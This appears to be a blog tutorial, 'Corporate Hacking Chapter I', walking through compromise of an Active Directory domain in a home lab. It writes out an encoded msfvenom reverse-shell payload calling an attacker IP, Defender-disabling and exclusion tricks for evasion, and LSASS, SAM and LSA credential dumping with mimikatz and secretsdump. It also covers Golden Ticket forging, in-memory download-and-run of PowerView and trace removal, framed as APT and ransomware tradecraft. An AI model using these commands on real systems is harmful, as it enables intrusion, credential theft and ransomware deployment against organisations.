Corporate Hacking Chapter I (Domain Discovery)
Introduction
Greetings to all. Itâs not a secret to anyone that 95% of companies use Microsoftâs Active Directory to carry out their daily operations, and this includes small and medium-sized businesses (SMBs). I see that many people focus solely on web penetration testing, such as web servers, which can be a great foothold for an attacker. However, to me, thatâs just a small part of a companyâs assets that are often found at the network edge or in the DMZ. Their internal networks are extensive and often use authentication and communication protocols such as Kerberos, SMB, RDP, NTLM, etc. So, focusing only on web security would not be the right approach in my opinion. I also want to make it clear that CTFs are a bit out of touch with how companies are actually hacked in the real world. Iâm not discrediting CTFs, I just want to speak my mind and what I think is the most accurate.
Today i will show you some of rocedures used to list a business Domain
Note: Most of these tricks are used by APT groups, Hacktivits, Ransomware gans and Penetration testers.
Scenario
In this small lab iâve two Domain Controller (DC01 and DC02), three hosts join to Domain (PC01, PC02, PC03) and a box through Meterpreter session that will act as APT :) (Itâs a C2 Server).
Why Metasploit? Simply because Metasploit is the Swiss Army knife as it has all the integrated tools needed to carry out almost any attack, in addition to saving us too much time and avoiding a little detection, in case you make a mistake. If we didnât use Metasploit, it would be a job that would take too long and with the risk that you do something wrong and they detect you and kick you out of the networkâ
I created a diagram of what the network architecture will be like and the scenario will be as follows. All computers in the domain are interconnected with each other, where the two DCs have full authority of any device that is joined to the domain, additionally, the DCs has a two-way connection.
Canva is a great app to make all types of conceptual maps and diagrams
I think the lab is quite clear, i also tried to make it as real possible, miming a real life corp.
Getting started
The first thing weâll do as usual is create a payload with msfvenom to establish a session with the DC (DC01) and weâll upload the gift in a Python instance (HTTP server) to download it from DC.
The scenarios can be many and different for each company, with a hybrid infrastructure, in the cloud, etc. You may have exploited a web server that is located in the area known as the edge of the network (DMZ) and you may want to move laterally to another subnet where there are more resources and devices connected to that network. However, in general, the tactics are applied to almost everything.
In our example, we generate a PL (payload), upload it to a web server for delivery and then from the DC (DC01) download it using Invoke-web-request (IWR) with Powershell from cmd.
At the time of delivering the payload and running it, I have disabled Defender and automatic sample submission. Disabling the sending of automatic samples is useful since if you are trying to make your Malware FUD to bypass Defender and you leave it activated, you will make the job easier for Microsoft by sending your malware to their database of signatures and logs. Weâll also save the payload in a hidden folder on drive C:
Payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST 1.4.3.2 LPORT=7785 -e x86/shikata_ga_nai -i 5 -f exe > meter.exe
And our Web server for delivery
Now from our DC we donwload the payload with Powershell from CMD and save it in a hidden folder âC:\ProgramDataâ and execute it.
A reverse http connection is more effective than TCP since is not as suspicious, becuase companies often use http connections to carry out their daily work. However, a native meterpreter is much more effective for process migration, as with a reverse shell (PHP) we would not be able to migrate from one process to another. Therefore, we will use the classic payload.
We gather basic information from the victim and if we notice, weâve entered the system with a 32-bit process on a 64-bit architecture within the DC01 domain. We first utilize the meterpreter sysinfo command to acquire valuable information.
Elevate privileges and migrate process
For now, Iâll turn Defender back on the victim machine, which I temporarily disabled to evade detection of the payload. Now that weâve successfully installed a malicious agent on our DC, the first step Iâll take is to migrate to a 64-bit process with SYSTEM privileges, as we initially gained access through a 32-bit process. Next, Iâll utilize hashsump, kiwi, or mimkatz to dump the administratorâs LSASS hashes. This process stores crucial information, such as domain administrator hashes, making it essensial to execute it with SYSTEM-level privileges.
Itâs highly recommended to operate with SYSTEM-level privileges, as obtaining access as a local administrator often restricts our capabilities until we elevate to SYSTEM rights. There are two primary methods to achieve this: we can utilize the built-in Meterpreter command âgetsystemâ or migrate to a process with SYSTEM privileges using the command âmigrate [PID]â. We can also utilize the âpsâ command to enumerate active processes.
Note: All of these methods can be applied perfectly with Cobalt Strike, but in this guide weâre not going to use Cobalt.
migrate process
Now we can do it with the getsystem command, which is much faster than the previous method, but it is important to note that the first method is more flexible, because it gives us the option to choose which process to inject into.
Once we are in, we have full control of the system. The main difference is that getsystem exploits a vulnerability in the Windows kernel, while migrating to a SYSTEM process is a bit different because we inject our agent into a system process, but both methods are used to elevate privileges. Both methods are acceptable, but keep in mind that if you want to migrate to a specific process, use the âmigrateâ command. Got it so far, bro!
Turning off Defender (âReal-Time-Protectionâ and other things)
The first step is to disable the AV (Windows Defender) or add exclusions to the entire C: drive. There are several methods for this, depending on the goals of each individual. Some methods require more work than others, and some may be detected by the system. Itâs important to remember to disable automatic sample sending whenever you perform lab tests.
Exclude a specific path
The first example will be adding exclusions to the âC:â drive using the Add-MpPreference cmdlet. This module modifies the behavior of Windows Defender.
Hereâs a obfuscation trick: if you donât first create a variable with the path of the drive or folder to exclude and pass the path directly with the â-ExclusionPathâ parameter, the antivirus will be activated and an alert will be sent to the server. To make sure everything goes well, youâll need to do it in a single line.
powershell.exe -nop -w hidden -c â$path = [path]; Add-MpPreference -ExclusionPath $pathâ
Turn off Defender permanently
This other method uses PowerShell to disable real-time monitoring as well. This procedure only works as âNT AUTHORITY\SYSTEMâ like the previous ones and itâs quite trivial and effective :D.
his disables the main engine of Windows Defender, so there is no need to add exclusions in advance. I also want to be clear that you canât just go around disabling the AV; weâre only going to do it when we need to execute a binary, or as APTs typically do to deploy ransomware and malware throughout the domain using Group Policy (GPO) or tools like WMI or PSEXEC.
We can verify that our small, clean, and silent scripts ran correctly on the victimâs machine.
Thereâre other methods for carrying out such actions, such as from the Windows Registry or from Group Policy Management (gpedit.msc)if you have an RDP available. Itâs not wrong to try almost all the options, because if one doesnât work, we can immediately apply another. There are many possibilities, you just need to be creative and think outside the box.
If you are more interested in evasion methods and techniques:
Dumping password Hashes
Now that everything is calm, we are even capable of deploying ransomware in the infrastructure, but for now that is not the objective of this lab, this chapter is about collecting as much information as possible. There are several tools integrated into Meterpreter to dump hashes, such as hashdump or mimikatz. As we discussed previously, I will show how to dump LSASS secrets with Kiwi and also how to manually dump the LSASS process.
Hashdump
The âhashdumpâ command is an in-memory version of the pwdump tool, but instead of loading a DLL into LSASS.exe, it allocates memory inside the process, injects raw assembly code, executes its via CreateRemoteThread, and then reads the captured hashes back out of memory. This avoids writing files to the drive and by the same token avoids being flagged by antivirus (AV) and intrusion prevention (HIPS) products.
Dumping SAM (Kiwi)
Kiwi is a powerful tool built into Metasploit, designed to dump passwords, perform Kerberos attacks, and collect WDigest passwords that are stored in plain text. In this instance, Iâll use Kiwi to dump the SAM hashes. SAM a database where data such as user and service passwords are stored. We will attack that in a matter of seconds.
With Rundll32.exe (MiniDump Function)
Now we will perform a manual LSASS dump using the native Windows executable ârundll32.exeâ that calls the âMiniDumpâ function of the dynamic link library âcomsvcs.dllâ which creates a dump file with the âdmpâ extension, which we will then pass through mimikatz.
The syntax is the following:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump, PID âC:\YourPath\lsass.dmpâ full
Note: In the PID, we must put the LSASS PID. It is also possible to put âlsass.exeâ, but this is not recommended because it is often detected by anti-virus software. This will dump the memory of this process.
After all this show, we download our lsass.dmp file (The loot) to our machine to then use it with Mimik, and in a real-world scenario, donât forget to erase the traces, that is, our dump file from your C: drive.
Note: The download command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.
Using Mimikatz offline:
mimikatz # privilege::debug
mimikatz # sekrulsa::minidump [YourDumpedFile]
mimikatz # sekurlsa::logonpasswords
Using the kiwi module
Itâs also possible to dump the SAM database from a Windows system using the integrated Kiwi module and some native commands, all of this from our Meterpreter session!
meterpreter> load kiwi
meterpreter> kiwi_cmd privilege::debug
meterpreter> kiwi_cmd token::elevate
meterpreter> kiwi_cmd lsadump::lsa /inject
or in one-line if desired:
meterpreter> kiwi_cmd âprivilege::debugâ âtoken::elevateâ âlsadump::lsa /injectâ
Dumping SAM Hashes from Windows Registry (SAM, SYSTEM)
We can dump hashes from the Windows registry, as it stores information about application and operating system configurations, including SAM records. The current Windows registry is a database that determines the systemâs behavior. We will get a copy of the SYSTEM and SAM hives by pulling them directly from the registry using regex.exe. Then we will process the files on our attacking machine with secrecdump.py or samdump2.
(SAM)
reg.exe save hklm\sam C:\[Some-Path]\sam.hive
reg.exe save hklm\system C:\[Some-Path]\system.save
Once we have created the dump file, we download the loot to our attacking machine and dump the hashes with secretsdump or samdump2. Either one will work. Donât forget that to run these commands you must have elevated privileges
# python3 secretsdump.py -sam sam.hive -system system.save LOCAL
#samdump2 system.save sam.hive
Dumping LSA Secrets from Windows Registry
Another place where passwords can be found is in the LSA secrets. The procedure is something similar to the SAM dump.
reg.exe save hklm\system C:\[Some-Path]\system.save
reg.exe save hklm\security C:\[Some-Path]\security.save
and the procedure is the same with secretsdump or samdump2.
You may be wondering what to do with the hashes we collect. With the Domain Admin passwords, we can do almost anything on all devices connected to the domain, from servers to printers. For example, we can execute a binary on all machines. Try using tools like Hashcat, John The Ripper, Hydra, Medusa, etc. to try to decrypt password hashes. You can also use online services. If for some reason you canât do that, you can use the Pass The Hash attack to gain a reverse shell on the Domain Admin machine, for example. Itâs also a good practice to gain more than one backdoor in the network. This way, if for some reason they realize that one of their devices has been exploited and they kick us out of the network, we will still be able to maintain access to the network.
However, in this chapter we will not be discussing lateral movement or gaining access to other devices on the same network or a separate subnet. In general, companies divide their networks into logical or physical segments to improve security and reduce bandwidth. This is also known as a Virtual Network Segment (VLAN).
Golden Tickets
The famous Golden Ticket attack manipulates the Kerberos protocol. Kerberos is an enterprise network authentication protocol whose main feature is to authenticate users to resources or assets in an IT environment. In this example, we will affect the hash of the KRBTGT account, which is responsible for signing and encrypting all tickets in the domain. After that, we obtain the SID of the Domain Administrator to generate a Golden Ticket. In this way, if they detect that their Windows domain is compromised and they change the passwords, we can still re-enter. Itâs also worth noting that all of this must be executed on a domain controller with an Administrator account.
Weâll use the integrated Kiwi module to get the NThash of the KRBTGT account and the SID of the administrator in a single command, easy and simple.
meterpreter> dcsync_ntlm krbtgt
Itâs also possible to get the SID directly with the command âwhoami /userâ, but since everything is compiled here, we will use it this way because it is much faster.
Note: If you are unsure which account is the actual Domain Admin, you can run this command: ânet group âDomain Adminsâ /domainâ. Weâll discuss this further in the enumeration of users and computers in the domain.
python3 ticketer.py -nthash [hash âkrbtgt accountâ] -domain-sid [SID] -domain [Domain User]
Note: Please note that you must replace these values with the ones you recovered previously with your work.
Now we export the value of the new gold ticket to the environment variable âKRB5CCNAMEâ. The command âexport KRB5CCNAME=Administrator.ccacheâ exports the KRB5CCNAME environment variable to the value âAdministrator.ccacheâ. The KRB5CCNAME variable is used to store the name of a Kerberos ticket cache file.
Users and Compuerts Enumeration (AD)
Up to now, I know two tools to query or enumerate the entire domain of a corporate network, which are the AdFind tool and Data Exchange cvs (CSVDE). The main difference is that csvde is a command-line tool built-in to Windows Server, while AdFind is a standalone tool. We will also search for computers, users, and domain administrators in the AD Domain with built-in Windows tools, which is a best practice.
Gather information about domain users
AdFind
Before using AdFind, we need to upload our file to the victimâs machine. This can be done in a hidden folder or a temporary folder. Iâill use the built-in Meterpreter command (upload).
For some strange reason, I was unable to run AdFind correctly from the Meterpreter session, so weâll do it from the DC, but once Iâve investigated the causes and reached a solution, Iâll correct this session.
AdFind.exe -f objectcategory=person -csv > users.cvs
On this occasion, weâll use this tool to find all domain users (objects) and then store them in a separate document for further analysis.
Net Utility
Now, weâll search for domain admins using the built-in Windows network management tool (Net).
Net group âDomain Adminsâ /Domain
Now letâs look at the local administrators:
Net localgroup Administrators
We can gather information about an administrator, such as the last password change date and expiration date, account type, and other things.
net user [AdminAccount]
DSQUERY Utility
Additionally, there are other built-in tools that make it easy to enumerate users, DCs, computers, and other interesting things. These tools output CSV files, just like adfind, but are more stealthy than the first.
dsquery user
Now I want to see which users have logged in on the local machine with the help of âquery user/quserâ command
Gather informatioin about Domain Computers
AdFind
With this tool, it is also possible to collect information about computers, operating systems, domain names, etc.
AdFind.exe -f objectcategory=computer -csv Name CN OperatingSystem DNSHostName
PowerShell (AD Module)
Itâs also possible to hunt for computers and users using built-in Windows network administration tools such as ânet, nltestâ and the PowerShell âAD Moduleâ. The advantage of using this is that it does not generate much suspicious activity. For example, to collect information about computers, including their domain name, operating system, and IP address, we can use the AD Module with PowerShell.
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem, IPv4Address, DNSHostName
Note: Unlike Linux, Windows is not affected by upper or lower case, so it does not matter how it is written.
Now, we will use another cmdlet (AD Module) to enumerate information about domain controllers, including their IP address, operating system, and domain name.
Get-ADDomainController -Filter {Enabled -eq $true} | Format-Table Domain, HostName IPv4Address, Name
CMD (Net)
We can also use âNetâ to search for computers joined to the domain in a fairly quick and accurate way. Unlike the PowerShell cmdlet, this command only searches for computers, while we previously filtered for computers and servers.
net group âDomain Computersâ /Domain
letâs discover Domain controllers with the Net utility
net group âDomain Controllersâ /Domain
Now, letâs use the nltest tool. In this case, we need to pass the domain name. If you donât know the domain name, you can easily find it with the systeminfo command and a findstr filter, as shown below.
systeminfo | findstr /B âDomainâ
nltest /dclist:[Domain_Name]
DSQUERY (DC and Computers)
dsquery computer
In this example, we can enumerate both computers and domain controllers (DCs). If we only want to gather DCs, we can pass the âserverâ argument to the query, for example:
dsquery server
Find subnets in the Domain
If you donât know how to find the CIRD of a network or want to find all available subnets on the network, you can use the PowerView cmdlet (Get-NetSubnets) or the built-in Meterpreter module ârun get_local_subnetsâ.
Discovering network shares
Another important point in the reconnaissance of an enterprise network is the discovery of shared resources. By carrying out these tactics, we can identify which other devices we have access to, remotely inspect other computers, or even load a malicious implant to obtain a reverse shell. In this example, Weâre going to use Invoke-ShareFinder and Get-Domain Share to meet our goal. Weâll execute it on the DC from memory, without touching the disk. This has some advantages, as no events are created, and in short, we do not leave any traces of using this tool.
# ShareFinder
- powershell.exe -exec Bypass -C âIEX (New-Object Net.WebClient).DownloadString(âhttps://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess | Out-File -Encoding ascii ShareFinder.txtâ
I think that by default, ShareFinder discovers shared on domain controllers and not on conventional computers. But DCs are more important for gathering information, as they contain interesting things like passwords, KeePass, Google passwords, LastPass, etc.
# Get-DomainShare
. powershell.exe -exec bypass -hidden -C âIEX (New-Object Net.WebClient).DownloadString(âhttps://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1â); Find-DomainShare -ChechShareAccess | Out-File -Encoding ascii DomainShare.txtâ
If we want to personally identify a device, we can use the system utilities ânetâ and âdirâ to navigate and visualize files and folders using UNC paths.
net view /ALL \\[server/IP/Worksatation]
dir \\ComputerName\C$
For example, in the following image, we can see that we have access to the network resources of âWIN-RFPG7GO9HSâ (DC02), by the indicator âRemote Adminâ.
If we want to see the folders and files we use the âdirâ command.
dir \\[server]\C$
If we run this command with SYSTEM privileges, weâll get a negative response âAccess is Deniedâ. So, in order for the command to work correctly, we will have to migrate to a new process of a domain admin user. or use any of the two methods that I will show you below
So far, I know two methods to avoid this:
- Mount the remote drive of the pwned machine with ânet useâ
- Employ the cleartext password of a local user who is a domain admin to leverage IPC$ via UNC, the benefit of this approach is that it doesnât leave a visible drive letter, unlike the first method.
I realized that the first method requires having local administrator privileges to be able to mount the drive remotely, unlike the second method which we can do like âNT AUTHORITY\SYSTEMâ
#1 net use Z: \\server\C$
As you can see if we go to our File Explorer (pwend machine), we can clearly see that thereâs a new letter mounted.
#2 net use \\[server/IP/Workstation]\IPC$ /user:Domain\User [password]
Note: After carrying out all of these actions, it is advisable to delete everything, regardless of the method used.
net use z: /delete
or
net use \\server /delete
Note: I have this chapter under construction.